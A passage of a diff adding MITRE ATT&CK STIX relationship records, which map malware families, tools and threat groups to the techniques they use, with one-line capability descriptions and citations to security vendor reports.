"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) collects keystrokes from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--29f2ee6a-682d-4812-b7d6-ff00cabf09dc", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can execute shell commands.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) can enumerate processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2638428-d31e-4ea4-80e1-26c9c25472d6", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) obtains the victim username and saves it to a file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846", + "external_references": [ + { + "source_name": "ThreatExpert Agent.btz", + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can download remote files and additional payloads to the victim's machine.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [ZeroT](https://attack.mitre.org/software/S0230) DLL files have been packed with UPX.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b703258a-ea4b-4778-9b98-b053bd16a959", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.962Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "APIs and strings in some [TYPEFRAME](https://attack.mitre.org/software/S0263) variants are RC4 encrypted. Another variant is encoded with XOR.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--573e7f53-26e9-4eae-af0e-308d11192f57", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from file shares.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.380Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) communicates to the C2 server by retrieving a Google Doc.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--234dc427-cce0-45d5-9971-02890aff608d", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.234Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.612Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.287Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the OS version and computer name.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--100f4917-1702-4707-bd9f-58d471e77018", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) persists by creating a Registry entry in HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) uses port 443 for C2 communications.", + "type": "relationship", + "created": "2019-01-29T14:51:06.840Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b99fba6-15bd-4102-bcab-4cdf8e5be334", + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.937Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to change service configurations as well as start, control, and delete services.", + "type": "relationship", + "created": "2019-01-29T18:17:59.188Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70a7b969-13c8-4bb6-8b3b-e6d3a984e823", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.946Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) has been known to establish persistence by adding programs to the Run Registry key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd", + "external_references": [ + { + "source_name": "Blasco 2013", + "description": "Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.", + "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One variant of [BlackEnergy](https://attack.mitre.org/software/S0089) locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "modified": "2019-06-24T17:08:51.770Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:30:18.927Z", + "type": "relationship", + "id": "relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e64a09d0-4205-4aca-8acb-f6926233d107", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.568Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) payload is stored in a hidden directory at /Users/Shared/.local/kextd.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SslMM](https://attack.mitre.org/software/S0058) sends the logged-on username to its hard-coded C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0df8e968-716a-4de9-9669-862af62d6eb6", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:48:47.517Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of logging keystrokes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52278e18-f8b3-4bf1-a5d3-ac819ccfd301", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-29T18:23:46.269Z", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses port 52100 and 5876 for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--396877b9-7276-4384-8475-38f7100d3380", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f7ded6a1-043e-437a-8a0c-00ded73e5289", + "external_references": [ + { + "source_name": "Symantec Nerex May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) encrypts some C2 traffic with the Blowfish cipher.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.579Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find files and directories with native functionality such as dir commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c09a27c-2eea-4287-9908-964533234e71", + "external_references": [ + { + "source_name": "TechNet Dir", + "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has routines for exfiltration over SMTP, FTP, and HTTP.", + "type": "relationship", + "created": "2019-01-29T18:44:05.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60c1b489-f1fc-4568-aba0-54e932715abc", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "modified": "2019-04-16T14:30:35.364Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) uses ports 80 and 443 for C2 communications.", + "type": "relationship", + "created": "2019-01-29T19:09:26.707Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--263d83dc-b78f-42de-8518-6d1456c01b90", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.409Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": 